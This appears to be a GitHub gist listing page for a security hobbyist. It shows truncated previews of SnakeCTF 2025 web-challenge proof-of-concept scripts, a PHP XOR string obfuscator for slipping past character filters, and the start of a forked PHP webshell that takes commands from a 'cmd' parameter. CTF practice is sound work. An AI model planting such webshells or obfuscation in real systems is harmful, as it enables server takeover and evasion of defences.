HitCat HiitCat

🛡️

Debugging from home

InfoSec, how 'bout that ?

HiitCat / SnakeCTF2025_Web_Boxbin.py

Created August 30, 2025 16:16

POC for SnakeCTF Web challenge ExploitMe

	"""
	1) signup -> get JWT
	2) adminUserUpgrade(upgradeId=7)
	3) updateSettings('{"isAdmin": true}')
	4) updateUserGroup(userId=<me>, groupId=0)
	5) hiddenPosts { content } -> extract snakeCTF{...}
	"""

	import base64
	import json

HiitCat / SnakeCTF2025_Web_ExploitMe.sh

Created August 30, 2025 16:15

POC for SnakeCTF Web challenge ExploitMe

	#!/bin/bash

	URL="https://9f2c6b38bc4461a2b4545a00c94951e2.exploitme.challs.snakectf.org"
	USERNAME="hitcat"
	EMAIL="[email protected]"
	PASSWORD="Secret123!"

	# Step 1 : Register and get JWT
	echo "[*] Registering user $USERNAME..."
	TOKEN=$(curl -s -X POST "$URL/api/register" \

HiitCat / SnakeCTF2025_Web_Blocked.py

Last active August 30, 2025 17:04

POC for SnakeCTF Web challenge /b/locked

	import requests
	import json
	import urllib.parse

	BASE = "https://0501d746d5e0d28cf2ba5004bbd0f0bd.blocked.challs.snakectf.org/"

	# Solve them manually without validating them and store the solution here
	CAPTCHAS = {
	"6de6162a9274b129823ba174" : "DCDRB2",
	"647ae4bd013aadadb9f87528" : "42GVD8",

HiitCat / php_xor_obfuscate.py

Created December 20, 2023 23:44

PHP String obfuscation using bitwise XOR

	import sys

	class XorConverter:
	"""
	A converter class to convert strings to their XOR representation.
	"""

	def __init__(self):
	self.forbidden_chars = ["`"]
	self.alphabet_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ "

HiitCat / easy-simple-php-webshell.php

Created April 9, 2023 23:23 — forked from joswr1ght/easy-simple-php-webshell.php

	<html>
	<body>
	<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
	<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
	<input type="SUBMIT" value="Execute">
	</form>
	<pre>
	<?php
	if(isset($_GET['cmd']))
	{